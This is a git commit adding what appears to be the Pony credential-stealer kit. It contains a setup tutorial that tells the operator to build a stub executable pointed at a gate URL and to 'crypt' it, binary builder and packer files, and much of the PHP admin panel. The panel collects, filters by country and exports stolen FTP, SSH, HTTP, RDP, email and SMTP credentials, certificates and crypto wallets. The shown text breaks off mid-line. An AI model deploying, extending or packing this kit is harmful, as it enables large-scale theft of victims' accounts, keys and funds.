commit 4f806d96801300cbfacb0d770e0c211af1963102 Author: i2p Date: Thu Aug 27 11:22:04 2026 -0600 initial commit diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..32a5ee8 Binary files /dev/null and b/.DS_Store differ diff --git a/Contjes Short Tutorial.txt b/Contjes Short Tutorial.txt new file mode 100644 index 0000000..024d34e --- /dev/null +++ b/Contjes Short Tutorial.txt @@ -0,0 +1,12 @@ +1. Upload the panel files. +2. Make a MySQL database. +3. Edit the uploadedd Config.php with your mysql logins and database. +4. Save it. +5. Go to your browser. And surf to: YOURDOMAINORIP/yourpanellocation/setup.php +6. Put the info in the setup carefully and do not lose your data's! +7. Delete the install.php from your Public_html map. +8. Surf to: YOURDOMAINORIP/yourpanellocation/admin.php and login. +9. Open the builder, and make the gate url: YOURDOMAINORIP/yourpanellocation/gate.php +& the Bin url YOURDOMAINORIP/yourpanellocation/yourstubnamethatyougonnabuild.exe +10. Make the output filename the same as you typed in the Bin url! +11. CRYPT THAT BABY AND YOU ARE READY TO GO :) \ No newline at end of file diff --git a/builder/Builder.exe b/builder/Builder.exe new file mode 100644 index 0000000..4e5261d Binary files /dev/null and b/builder/Builder.exe differ diff --git a/builder/packer.exe b/builder/packer.exe new file mode 100644 index 0000000..3553c42 Binary files /dev/null and b/builder/packer.exe differ diff --git a/builder/stub b/builder/stub new file mode 100644 index 0000000..d081217 Binary files /dev/null and b/builder/stub differ diff --git a/panel/404.html b/panel/404.html new file mode 100644 index 0000000..dc3ccdb --- /dev/null +++ b/panel/404.html @@ -0,0 +1,10 @@ + + + + 404 Not Found + + +

Not Found

+

The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again.

+ + \ No newline at end of file diff --git a/panel/admin.php b/panel/admin.php new file mode 100644 index 0000000..2a81bea --- /dev/null +++ b/panel/admin.php @@ -0,0 +1,1719 @@ +connect_db($mysql_host, $mysql_user, $mysql_pass, $mysql_database, true); + +// set cookie name +// cookie should be different for each script +$config_cookie_name = 'auth_cookie'; +if (isset($proxy_id)) +{ + $config_cookie_name = 'auth_cookie_'.$proxy_id; +} + +// set report decryption password +$pony_db_report_password = $pony_db->get_option('report_password', '', REPORT_DEFAULT_PASSWORD); +// set report parsing options +$pony_report_options = array('sftp_user' => $pony_db->get_option('sftp_user', '', '1'), + 'sftp_port' => $pony_db->get_option('sftp_port', '', '1'), + 'sftp_protocol' => $pony_db->get_option('sftp_protocol', '', '1')); + +// default values for unset config variables +if (!isset($show_help_to_users)) + $show_help_to_users = true; +if (!isset($show_http_to_users)) + $show_http_to_users = true; +if (!isset($show_logons_to_users)) + $show_logons_to_users = true; +if (!isset($show_other_to_users)) + $show_other_to_users = true; +if (!isset($enable_http_mode)) + $enable_http_mode = false; +if (!isset($disable_ip_logger)) + $disable_ip_logger = false; +if (!isset($enable_email_mode)) + $enable_email_mode = false; +if (!isset($show_email_to_users)) + $show_email_to_users = true; +if (!isset($show_domains)) + $show_domains = false; +if (!isset($show_domains_to_users)) + $show_domains_to_users = true; + +// initialize CSRF token +if (!isset($_SESSION['token'])) +{ + $token = md5(uniqid(rand(), TRUE)); + $_SESSION['token'] = $token; +} +else +{ + $token = $_SESSION['token']; +} + +// initialize smarty +define('SMARTY_DIR', str_replace("\\", "/", getcwd()).'/includes/Smarty-3.1.15/libs/'); +require_once(SMARTY_DIR . 'Smarty.class.php'); +require_once(SMARTY_DIR . 'SmartyPaginate.class.php'); +function escFilter($content) +{ + return htmlspecialchars($content, ENT_QUOTES, 'cp1251'); +} +$smarty = new Smarty(); +$smarty->setCacheDir($global_temporary_directory.'/'); +$smarty->setCompileDir($global_temporary_directory.'/'); +$smarty->setTemplateDir('includes/templates/'); +$smarty->registerFilter('variable', 'escFilter'); +$smarty->loadFilter('output', 'trimwhitespace'); +$smarty->caching = false; +$smarty->assign('show_help_to_users', $show_help_to_users); +$smarty->assign('show_http_to_users', $show_http_to_users); +$smarty->assign('show_logons_to_users', $show_logons_to_users); +$smarty->assign('show_other_to_users', $show_other_to_users); +$smarty->assign('enable_http_mode', $enable_http_mode); +$smarty->assign('disable_ip_logger', $disable_ip_logger); +$smarty->assign('enable_email_mode', $enable_email_mode); +$smarty->assign('show_email_to_users', $show_email_to_users); +$smarty->assign('show_domains', $show_domains); +$smarty->assign('show_domains_to_users', $show_domains_to_users); +$smarty->assign('token', $token); + +// initialize common used variables +$self_file = $_SERVER['SCRIPT_NAME']; +$authentication_login = trim(assign($_REQUEST['login'])); +$authentication_password = trim(assign($_REQUEST['password'])); +$authentication_success = false; +$authentication_attempt = isset($_REQUEST['login']) && isset($_REQUEST['password']); +$authentication_save_password = trim(assign($_REQUEST['save_password'])); +$admin_action = trim(assign($_REQUEST['action'])); +$auth_cookie = trim(assign($_COOKIE[$config_cookie_name])); +$admin_routine = trim(assign($_REQUEST['routine'])); +$use_zip = trim(assign($_REQUEST['zip'])) == '1'; + +// filter available action pages +if (array_search($admin_action, array('ftp', 'http', 'stats', 'ping', 'log', 'admin', 'exit', 'help', 'chart', 'reports', 'other')) === false) +{ + $admin_action = ''; +} + +// authentication +if (!$authentication_attempt) +{ + $authentication_login = trim(assign($_REQUEST['login'])); + $authentication_password = trim(assign($_REQUEST['password'])); + $authentication_attempt = isset($_REQUEST['login']) && isset($_REQUEST['password']); +} + +// try to authenticate +if (strlen($authentication_login) && strlen($authentication_password) && $pony_db->authenticate($authentication_login, $authentication_password)) +{ + $authentication_success = true; + + // set cookie on successful authentication + $cookie_save_password = $authentication_save_password; + if ($cookie_save_password) + $cookie_exp_time = time()+60*60*24*60; // 2 months + else + $cookie_exp_time = 0; + + setcookie($config_cookie_name, $pony_db->auth_cookie, $cookie_exp_time); +} else +{ + // authentication failed + // try to authenticate using cookie + if ($auth_cookie) + { + $authentication_success = $pony_db->autneticate_cookie($auth_cookie); + if ($authentication_success) + $authentication_login = $pony_db->login; + } +} + +// ajax ping code +// should be displayed before authorization form +if ($admin_routine == 'ping' && $admin_action == 'ping' && $authentication_success && $token === assign($_REQUEST['token']) && ($show_domains && ($pony_db->priv_is_admin() || $show_domains_to_users))) +{ + $domain_id = trim(assign($_REQUEST['domain_id'])); + $find_domain_result = $pony_db->find_domain($domain_id); + + if (is_array($find_domain_result) && $find_domain_result && count($find_domain_result) == 3) + { + list($ping_url, $ping_time, $ping_status) = $find_domain_result; + + if (curl_ping($ping_url)) + { + $pony_db->update_domain($domain_id, 'OK'); + die(""); + } + } + $pony_db->update_domain($domain_id, 'FAIL'); + die(""); +} + +if ($admin_action == 'chart' && strlen($admin_routine) && $authentication_success && $token === assign($_REQUEST['token'])) +{ + require_once('includes/chart.php'); + die(); +} + +// these variables available can be set after authentication only +$smarty->assign('priv_is_admin', $pony_db->priv_is_admin()); +$smarty->assign('priv_can_delete', $pony_db->priv_can_delete()); +$smarty->assign('authentication_success', $authentication_success); + +function smarty_assign_continents($smarty) +{ + $smarty_geo_continents = array(); + $geo_ip = new GeoIP(); + $k = 0; + for ($i = 0; $i < count($geo_ip->GEOIP_CONTINENT_CODES); $i++) + { + if (strlen($geo_ip->GEOIP_COUNTRY_NAMES[$i])) + { + if (!isset($smarty_geo_continents[$geo_ip->GEOIP_CONTINENT_CODES[$i]])) + { + $smarty_geo_continents[$geo_ip->GEOIP_CONTINENT_CODES[$i]][$k]['name'] = '(all)'; + $smarty_geo_continents[$geo_ip->GEOIP_CONTINENT_CODES[$i]][$k++]['code'] = 'all'; + } + { + $smarty_geo_continents[$geo_ip->GEOIP_CONTINENT_CODES[$i]][$k]['name'] = $geo_ip->GEOIP_COUNTRY_NAMES[$i]; + $smarty_geo_continents[$geo_ip->GEOIP_CONTINENT_CODES[$i]][$k++]['code'] = $geo_ip->GEOIP_COUNTRY_CODES[$i]; + } + } + } + + $smarty->assign('geo_continents', $smarty_geo_continents); +} + +function apply_data_filters($smarty, $do_download, $mode = 'ftp') +{ + global $pony_db; + + $filter_include_ftp = trim(assign($_REQUEST['filter_include_ftp'])); + $filter_include_ssh = trim(assign($_REQUEST['filter_include_ssh'])); + + $filter_include_http = trim(assign($_REQUEST['filter_include_http'])); + $filter_include_https = trim(assign($_REQUEST['filter_include_https'])); + + $filter_trim_dirs = trim(assign($_REQUEST['filter_trim_dirs'])); + if ($filter_trim_dirs != '1') + $filter_trim_dirs = ''; + + if ($mode == 'ftp') + { + // include ftp/ssh + if ($filter_include_ftp == '1' && $filter_include_ssh == '1') + $include_subtypes = 'both'; + else if ($filter_include_ssh) + $include_subtypes = 'ssh'; + else + $include_subtypes = 'ftp'; + } else + { + // include http/https + if ($filter_include_http == '1' && $filter_include_https == '1') + $include_subtypes = 'both'; + else if ($filter_include_http) + $include_subtypes = 'http'; + else + $include_subtypes = 'https'; + } + + // include domains + $include_domains = trim(assign($_REQUEST['filter_domains_include'])); + + // exclude domains + $exclude_domains = trim(assign($_REQUEST['filter_domains_exclude'])); + + // text substring + $filter_text = trim(assign($_REQUEST['filter_text'])); + + // date filter + $filter_date_from = trim(assign($_REQUEST['filter_date_from'])); + $filter_date_to = trim(assign($_REQUEST['filter_date_to'])); + + // export ip setting + $filter_export_ip = trim(assign($_REQUEST['filter_export_ip'])); + if ($filter_export_ip != '1') + $filter_export_ip = ''; + + // country filter + $filter_country = array(); + $geo_ip = new GeoIP(); + + foreach ($geo_ip->GEOIP_CONTINENT_CODES as $continent_code) + { + if (isset($_REQUEST['country_'.strtolower($continent_code)]) && is_array($_REQUEST['country_'.strtolower($continent_code)])) + { + foreach ($_REQUEST['country_'.strtolower($continent_code)] as $country_code) + { + if (strlen(trim($country_code)) && $country_code != 'all') + { + $filter_country[trim($country_code)] = 1; + } + } + } + } + + // when all countries are marked, do not apply country exclude filter + if (count($filter_country) == count($geo_ip->GEOIP_COUNTRY_CODES)-1) + { + $filter_country = array(); + } + + $ftp_list = array(); + if (strlen($filter_include_ftp) || strlen($filter_include_ssh) || strlen($filter_trim_dirs) || strlen($filter_include_http) || strlen($filter_include_https) || count($filter_country) || strlen($include_domains) || strlen($exclude_domains) || strlen($filter_date_from) || strlen($filter_date_to) || + strlen($filter_text) || strlen($filter_export_ip)) + { + if ($mode == 'ftp') + { + $filtered_items = $pony_db->get_ftp_list($do_download, $ftp_list, 0, $include_subtypes, 0, $filter_date_from, $filter_date_to, $filter_country, $include_domains, $exclude_domains, $filter_trim_dirs, !$do_download, $filter_text, $filter_export_ip); + } + else + { + $filtered_items = $pony_db->get_http_list($do_download, $ftp_list, 0, $include_subtypes, 0, $filter_date_from, $filter_date_to, $filter_country, $include_domains, $exclude_domains, $filter_trim_dirs, !$do_download, $filter_text, $filter_export_ip); + } + + // filter preview + if ($filtered_items !== false && isset($filtered_items['list']) && isset($filtered_items['count'])) + { + if (is_array($filtered_items['list'])) + { + foreach ($filtered_items['list'] as $ftp_item=>$ftp_value) + { + if (!$pony_db->report_id_exists($filtered_items['list'][$ftp_item]['report_id'])) + { + $filtered_items['list'][$ftp_item]['report_id'] = ''; + } + } + } + + $smarty->assign('filtered_items_count', $filtered_items['count']); + $smarty->assign('filtered_items_list', $filtered_items['list']); + } + } +} + +if ($authentication_success) +{ + // successfull authentication + + // log it + if ($authentication_attempt) + { + if (!$disable_ip_logger) + { + $pony_db->add_log_line(get_client_ip(), CLOG_SOURCE_LOGIN, null, $authentication_login); + } + } +} else if (!$authentication_attempt) +{ + // didn't try to authenticate the user + // show authentication form + $smarty->display('header.tpl'); + $smarty->display('login_form.tpl'); + $smarty->display('footer.tpl'); + die(); +} else +{ + // tried to authenticate the user, but failed + // show error message + $smarty->display('header.tpl'); + show_smarty_error($smarty, 'ERR_WRONG_PASSWORD', ''); + $smarty->display('footer.tpl'); +} + +if ($admin_action == '' && $admin_routine == '' && $authentication_success) +{ + // workaround for saved password autologin +} else if ($admin_action == 'exit' || $token !== assign($_REQUEST['token'])) +{ + $cookie_exp_time = 1; + $pony_db->remove_auth_cookie($auth_cookie); + setcookie($config_cookie_name, '', $cookie_exp_time); + + // destroy session + $_SESSION = array(); + + if (ini_get("session.use_cookies")) { + $params = session_get_cookie_params(); + setcookie(session_name(), '', time() - 42000, + $params["path"], $params["domain"], + $params["secure"], $params["httponly"] + ); + } + + // redirect to authentication page + header('Location: '.$self_file); + + session_destroy(); + die(); +} + +if (!$authentication_success) +{ + // authentication failed, stop script execution + die(); +} + +function set_common_file_download_header($file_name = '', $content_type = 'text/plain') +{ + header("Pragma: public"); + header("Expires: 0"); + header("Pragma: no-cache"); + header("Cache-Control: no-store, no-cache, must-revalidate"); + header("Cache-Control: post-check=0, pre-check=0", false); + header("Cache-Control: private", false); + header("Content-Type: $content_type"); + header("Content-Transfer-Encoding: binary"); + header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); + header('Content-Disposition: attachment; filename="'.$file_name.'";'); +} + +if ($admin_routine == 'download_ftp' && $admin_action == 'ftp') +{ + if ($use_zip) + { + set_common_file_download_header('ftp_list.zip', 'application/zip'); + ob_start(); + $pony_db->get_ftp_list(true); + $ftp_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('ftp_list.txt', $ftp_list_data); + } else + { + set_common_file_download_header('ftp_list.txt'); + $pony_db->get_ftp_list(true); + } + die(); +} +if ($admin_routine == 'download_ssh' && $admin_action == 'ftp') +{ + if ($use_zip) + { + set_common_file_download_header('ssh_list.zip', 'application/zip'); + ob_start(); + $null_array = array(); + $pony_db->get_ftp_list(true, $null_array, 0, 'ssh'); + $ssh_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('ssh_list.txt', $ssh_list_data); + } else + { + set_common_file_download_header('ssh_list.txt'); + $null_array = array(); + $pony_db->get_ftp_list(true, $null_array, 0, 'ssh'); + } + die(); +} +if ($admin_routine == 'download_http' && $admin_action == 'http' && $enable_http_mode && ($show_http_to_users || $pony_db->priv_is_admin())) +{ + if ($use_zip) + { + set_common_file_download_header('http_list.zip', 'application/zip'); + ob_start(); + $pony_db->get_http_list(true); + $http_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('http_list.txt', $http_list_data); + } else + { + set_common_file_download_header('http_list.txt'); + $pony_db->get_http_list(true); + } + die(); +} +if ($admin_routine == 'download_email' && $enable_email_mode && ($show_email_to_users || $pony_db->priv_is_admin())) +{ + if ($use_zip) + { + set_common_file_download_header('email_list.zip', 'application/zip'); + ob_start(); + $pony_db->get_email_list(true); + $email_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('email_list.txt', $email_list_data); + } else + { + set_common_file_download_header('email_list.txt'); + $pony_db->get_email_list(true); + } + die(); +} +if ($admin_routine == 'download_email_smtp' && $enable_email_mode && ($show_email_to_users || $pony_db->priv_is_admin())) +{ + if ($use_zip) + { + set_common_file_download_header('email_smtp_list.zip', 'application/zip'); + ob_start(); + $null_list = array(); + $pony_db->get_email_list(true, $null_list, 0, 'smtp'); + $email_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('email_smtp_list.txt', $email_list_data); + } else + { + set_common_file_download_header('email_smtp_list.txt'); + $pony_db->get_email_list(true, $null_list, 0, 'smtp'); + } + die(); +} +if ($admin_routine == 'download_rdp') +{ + if ($use_zip) + { + set_common_file_download_header('rdp_list.zip', 'application/zip'); + ob_start(); + $pony_db->get_rdp_list(true); + $rdp_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('rdp_list.txt', $rdp_list_data); + } else + { + set_common_file_download_header('rdp_list.txt'); + $pony_db->get_rdp_list(true); + } + die(); +} +if ($admin_routine == 'download_reports' && $admin_action == 'ftp') +{ + set_common_file_download_header('reports.sql'); + $pony_db->export_reports(false); + die(); +} + +if ($admin_routine == 'download_nonparsed_reports' && $admin_action == 'ftp') +{ + set_common_file_download_header('non_parsed_reports.sql'); + $pony_db->export_reports(true); + die(); +} + +if ($admin_routine == 'download_log' && $admin_action == 'log') +{ + if ($use_zip) + { + set_common_file_download_header('log.zip', 'application/zip'); + ob_start(); + $null_list = array(); + $pony_db->get_log_list($null_list, 0, 0, true); + $log_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('log.txt', $log_list_data); + } else + { + set_common_file_download_header('log.txt'); + $null_list = array(); + $pony_db->get_log_list($null_list, 0, 0, true); + } + die(); +} + +if ($admin_routine == 'download_report' && $admin_action == 'reports') +{ + $report_id = trim(assign($_REQUEST['report_id'])); + $report_item_result = $pony_db->get_report_item($report_id); + if ($pony_db->state && is_array($report_item_result)) + { + set_common_file_download_header('report_'.strval(intval($report_id)).'.bin', 'application/octet-stream'); + header("Content-Length: ".strlen($report_item_result['data'])); + echo $report_item_result['data']; + } else + die('Report not found!'); + die(); +} +if ($admin_routine == 'filter_download' && $admin_action == 'ftp') +{ + if ($use_zip) + { + set_common_file_download_header('filtered_list.zip', 'application/zip'); + ob_start(); + apply_data_filters($smarty, true); + $filter_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('filtered_list.txt', $filter_list_data); + } else + { + set_common_file_download_header('filtered_list.txt'); + apply_data_filters($smarty, true); + } + die(); +} +if ($admin_routine == 'filter_download' && $admin_action == 'http') +{ + if ($use_zip) + { + set_common_file_download_header('filtered_http_list.zip', 'application/zip'); + ob_start(); + apply_data_filters($smarty, true, 'http'); + $filter_list_data = ob_get_contents(); + ob_end_clean(); + create_zip_and_send('filtered_http_list.txt', $filter_list_data); + } else + { + set_common_file_download_header('filtered_http_list.txt'); + apply_data_filters($smarty, true, 'http'); + } + die(); +} +if ($admin_routine == 'download_cert' && $admin_action == 'other') +{ + set_common_file_download_header('certificates.zip', 'application/zip'); + + $pony_db->get_cert_zip(); + + die(); +} +if ($admin_routine == 'download_wallet' && $admin_action == 'other') +{ + set_common_file_download_header('wallets.zip', 'application/zip'); + + $pony_db->get_wallet_zip(); + + die(); +} + + +$smarty->display('header.tpl'); + +my_flush(); + +function clear_floating_offsets($pony_db) +{ + $offsets = array('offset_url', 'offset_ftp_last', 'offset_http_last', 'offset_reports_last', + 'offset_ftp_list', 'offset_http_list', 'data_sum', 'offset_nonparsed_reports_stats', + 'offset_nonparsed_reports_sum', 'offset_log_events_count', 'offset_report_duplicates', + 'offset_email_list'); + foreach ($offsets as $offset_to_clear) + { + $pony_db->set_multi_option($offset_to_clear, array('')); + } +} + +function smarty_assign_common_vars($smarty, $pony_db) +{ + $pony_db->lock_all_tables(); + $offset_url = $pony_db->get_multi_option('offset_url', 6); + + $url_password_stats = array(); + $pony_db->get_url_password_stats($url_password_stats, $offset_url[0]); + if (!isset($url_password_stats['ftp'])) + $url_password_stats['ftp'] = '0'; + if (!isset($url_password_stats['ssh'])) + $url_password_stats['ssh'] = '0'; + if (!isset($url_password_stats['http'])) + $url_password_stats['http'] = '0'; + if (!isset($url_password_stats['https'])) + $url_password_stats['https'] = '0'; + if (!isset($url_password_stats['rdp'])) + $url_password_stats['rdp'] = '0'; + + $url_password_stats['ftp'] += $offset_url[1]; + $url_password_stats['ssh'] += $offset_url[2]; + $url_password_stats['http'] += $offset_url[3]; + $url_password_stats['https'] += $offset_url[4]; + $url_password_stats['rdp'] += $offset_url[5]; + + $pony_db->set_multi_option('offset_url', + array( + $pony_db->get_auto_value(CPONY_FTP_TABLE), + $url_password_stats['ftp'], + $url_password_stats['ssh'], + $url_password_stats['http'], + $url_password_stats['https'], + $url_password_stats['rdp'] + ) + ); + + $smarty->assign('total_ftp_items_count', $url_password_stats['ftp']); + $smarty->assign('total_http_items_count', strval(intval($url_password_stats['http']) + intval($url_password_stats['https']))); + $smarty->assign('total_cert_items_count', $pony_db->get_table_row_count(CPONY_CERT_TABLE)); + $smarty->assign('total_wallet_items_count', $pony_db->get_table_row_count(CPONY_WALLET_TABLE)); + $smarty->assign('total_email_items_count', $pony_db->get_table_row_count(CPONY_EMAIL_TABLE)); + $smarty->assign('total_email_smtp_items_count', $pony_db->get_table_row_count(CPONY_EMAIL_TABLE, "WHERE protocol='smtp'")); + $smarty->assign('total_ssh_items_count', $url_password_stats['ssh']); + $smarty->assign('total_rdp_items_count', $url_password_stats['rdp']); + $smarty->assign('total_reports_count', $pony_db->get_table_row_count(CPONY_REPORT_TABLE)); + + $report_sum = $pony_db->get_multi_option('data_sum', 2); + $total_reports_size = $report_sum[1] + $pony_db->get_report_sum('', $report_sum[0]); + + $pony_db->set_multi_option('data_sum', + array( + $pony_db->get_auto_value(CPONY_REPORT_DATA_TABLE), + $total_reports_size, + ) + ); + + $smarty->assign('total_reports_size', $total_reports_size); + + $offset_report_duplicates = $pony_db->get_multi_option('offset_report_duplicates', 2); + $report_duplicates = $offset_report_duplicates[1] + $pony_db->get_duplicate_report_count($offset_report_duplicates[0]); + $smarty->assign('report_duplicates', $report_duplicates); + $pony_db->set_multi_option('offset_report_duplicates', + array( + $pony_db->get_auto_value(CPONY_LOG_TABLE), + $report_duplicates, + ) + ); + + $offset_nonparsed_reports = $pony_db->get_multi_option('offset_nonparsed_reports_stats', 2); + $total_nonparsed_reports = $offset_nonparsed_reports[1] + $pony_db->get_table_row_count(CPONY_REPORT_TABLE, "WHERE report_id>='".mysql_real_escape_string($offset_nonparsed_reports[0])."' AND parsed='0'"); + $smarty->assign('total_nonparsed_reports', $total_nonparsed_reports); + $pony_db->set_multi_option('offset_nonparsed_reports_stats', + array( + $pony_db->get_auto_value(CPONY_REPORT_TABLE), + $total_nonparsed_reports, + ) + ); + + $offset_nonparsed_reports_sum = $pony_db->get_multi_option('offset_nonparsed_reports_sum', 2); + $total_nonparsed_reports_sum = $offset_nonparsed_reports_sum[1] + $pony_db->get_report_sum_linked("WHERE parsed='0'", $offset_nonparsed_reports_sum[0]); + $smarty->assign('total_nonparsed_report_size', $total_nonparsed_reports_sum); + $pony_db->set_multi_option('offset_nonparsed_reports_sum', + array( + $pony_db->get_auto_value(CPONY_REPORT_TABLE), + $total_nonparsed_reports_sum, + ) + ); + + $smarty->assign('total_nonparsed_report_size', $total_nonparsed_reports_sum); + $smarty->assign('total_ftp_table_size', $pony_db->get_table_size(CPONY_FTP_TABLE)); + $smarty->assign('total_report_table_size', $pony_db->get_table_size(CPONY_REPORT_TABLE) + $pony_db->get_table_size(CPONY_REPORT_DATA_TABLE)); + $smarty->assign('total_log_table_size', $pony_db->get_table_size(CPONY_LOG_TABLE)); + $smarty->assign('total_cert_table_size', $pony_db->get_table_size(CPONY_CERT_TABLE)); + $smarty->assign('total_wallet_table_size', $pony_db->get_table_size(CPONY_WALLET_TABLE)); + $smarty->assign('total_email_table_size', $pony_db->get_table_size(CPONY_EMAIL_TABLE)); + + $offset_log_events_count = $pony_db->get_multi_option('offset_log_events_count', 2); + $log_events_count = $offset_log_events_count[1] + $pony_db->get_table_row_count(CPONY_LOG_TABLE, "WHERE log_id>='".mysql_real_escape_string($offset_log_events_count[0])."' AND (log_source<>'".mysql_real_escape_string(CLOG_SOURCE_LOGIN)."')"); + $smarty->assign('log_events_count', $log_events_count); + $pony_db->set_multi_option('offset_log_events_count', + array( + $pony_db->get_auto_value(CPONY_LOG_TABLE), + $log_events_count, + ) + ); + + $smarty->assign('server_time', mysql_now_date()); + $smarty->assign('db_size', $pony_db->get_db_size()); + + $offset_ftp = $pony_db->get_multi_option('offset_ftp_last', 3); + list($offset_ftp[0], $new_ftp_last_24_hours) = $pony_db->get_offset_value_count('WHERE ftp_id>=\''.mysql_real_escape_string($offset_ftp[0]).'\' AND (url_type=\'ftp\' OR url_type=\'ssh\') AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 1 DAY)', 'ftp_id', CPONY_FTP_TABLE); + list($offset_ftp[1], $new_ftp_last_hour) = $pony_db->get_offset_value_count('WHERE ftp_id>=\''.mysql_real_escape_string($offset_ftp[1]).'\' AND (url_type=\'ftp\' OR url_type=\'ssh\') AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 1 HOUR)', 'ftp_id', CPONY_FTP_TABLE); + list($offset_ftp[2], $new_ftp_last_10_minutes) = $pony_db->get_offset_value_count('WHERE ftp_id>=\''.mysql_real_escape_string($offset_ftp[2]).'\' AND (url_type=\'ftp\' OR url_type=\'ssh\') AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 10 MINUTE)', 'ftp_id', CPONY_FTP_TABLE); + $smarty->assign('new_ftp_last_24_hours', $new_ftp_last_24_hours); + $smarty->assign('new_ftp_last_hour', $new_ftp_last_hour); + $smarty->assign('new_ftp_last_10_minutes', $new_ftp_last_10_minutes); + + $pony_db->set_multi_option('offset_ftp_last', + array( + $offset_ftp[0], + $offset_ftp[1], + $offset_ftp[2], + ) + ); + + $offset_http = $pony_db->get_multi_option('offset_http_last', 3); + list($offset_http[0], $new_http_last_24_hours) = $pony_db->get_offset_value_count('WHERE ftp_id>=\''.mysql_real_escape_string($offset_http[0]).'\' AND (url_type=\'http\' OR url_type=\'https\') AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 1 DAY)', 'ftp_id', CPONY_FTP_TABLE); + list($offset_http[1], $new_http_last_hour) = $pony_db->get_offset_value_count('WHERE ftp_id>=\''.mysql_real_escape_string($offset_http[1]).'\' AND (url_type=\'http\' OR url_type=\'https\') AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 1 HOUR)', 'ftp_id', CPONY_FTP_TABLE); + list($offset_http[2], $new_http_last_10_minutes) = $pony_db->get_offset_value_count('WHERE ftp_id>=\''.mysql_real_escape_string($offset_http[2]).'\' AND (url_type=\'http\' OR url_type=\'https\') AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 10 MINUTE)', 'ftp_id', CPONY_FTP_TABLE); + $smarty->assign('new_http_last_24_hours', $new_http_last_24_hours); + $smarty->assign('new_http_last_hour', $new_http_last_hour); + $smarty->assign('new_http_last_10_minutes', $new_http_last_10_minutes); + + $pony_db->set_multi_option('offset_http_last', + array( + $offset_http[0], + $offset_http[1], + $offset_http[2], + ) + ); + + $offset_reports = $pony_db->get_multi_option('offset_reports_last', 3); + list($offset_reports[0], $new_reports_last_24_hours) = $pony_db->get_offset_value_count('WHERE report_id>=\''.mysql_real_escape_string($offset_reports[0]).'\' AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 1 DAY)', 'report_id', CPONY_REPORT_TABLE); + list($offset_reports[1], $new_reports_last_hour) = $pony_db->get_offset_value_count('WHERE report_id>=\''.mysql_real_escape_string($offset_reports[1]).'\' AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 1 HOUR)', 'report_id', CPONY_REPORT_TABLE); + list($offset_reports[2], $new_reports_last_10_minutes) = $pony_db->get_offset_value_count('WHERE report_id>=\''.mysql_real_escape_string($offset_reports[2]).'\' AND import_time >= DATE_SUB(\''.mysql_real_escape_string(mysql_now_date()).'\',INTERVAL 10 MINUTE)', 'report_id', CPONY_REPORT_TABLE); + $smarty->assign('new_reports_last_24_hours', $new_reports_last_24_hours); + $smarty->assign('new_reports_last_hour', $new_reports_last_hour); + $smarty->assign('new_reports_last_10_minutes', $new_reports_last_10_minutes); + + $pony_db->set_multi_option('offset_reports_last', + array( + $offset_reports[0], + $offset_reports[1], + $offset_reports[2], + ) + ); + + $cert_last_import = $pony_db->get_last_cert_date(); + if ($cert_last_import !== false) + { + $smarty->assign('cert_last_import', $cert_last_import); + } + + $wallet_last_import = $pony_db->get_last_wallet_date(); + if ($wallet_last_import !== false) + { + $smarty->assign('wallet_last_import', $wallet_last_import); + } + + $pony_db->unlock_all_tables(); +} + +// ------------------------------------------------------------------------------------------- +// Page processing code +// ------------------------------------------------------------------------------------------- + +if ($admin_action == 'ftp') +{ + // --------------------------------------------------------------------------------------- + // FTP list + + if ($admin_routine == 'clear_ftp') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->clear_table(CPONY_FTP_TABLE, "WHERE url_type='ftp'"); + clear_floating_offsets($pony_db); + } + else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + elseif ($admin_routine == 'clear_ssh') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->clear_table(CPONY_FTP_TABLE, "WHERE url_type='ssh'"); + clear_floating_offsets($pony_db); + } + else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + + $offset_ftp_list = $pony_db->get_multi_option('offset_ftp_list', 1); + $ftp_list = array(); + $pony_db->get_ftp_list(false, $ftp_list, 10, 'both', $offset_ftp_list[0]); + + foreach ($ftp_list as $ftp_item=>$ftp_value) + { + $ftp_list[$ftp_item]['module'] = $ftp_list[$ftp_item]['ftp_client']; + $ftp_list[$ftp_item]['ftp_client'] = module_name_to_client_name($ftp_list[$ftp_item]['ftp_client']); + if (!$pony_db->report_id_exists($ftp_list[$ftp_item]['report_id'])) + { + $ftp_list[$ftp_item]['report_id'] = ''; + } + } + + if (count($ftp_list)) + { + $first_id = $ftp_list[count($ftp_list)-1]['ftp_id']; + } else + { + $first_id = 0; + } + + $pony_db->set_multi_option('offset_ftp_list', array($first_id)); + + apply_data_filters($smarty, false); + smarty_assign_continents($smarty); + + smarty_assign_common_vars($smarty, $pony_db); + $smarty->assign('ftp_list', $ftp_list); + $smarty->display('ftp_list.tpl'); +} +if ($admin_action == 'http') +{ + // --------------------------------------------------------------------------------------- + // HTTP list + + smarty_assign_continents($smarty); + + if ($admin_routine == 'clear_http') + { + if ($pony_db->priv_can_delete()) + { + $pony_db->clear_table(CPONY_FTP_TABLE, "WHERE (url_type='http') OR (url_type='https')"); + clear_floating_offsets($pony_db); + } + else + show_smarty_error($smarty, 'ERR_NOT_ENOUGH_PRIVILEGES'); + } + + $offset_http_list = 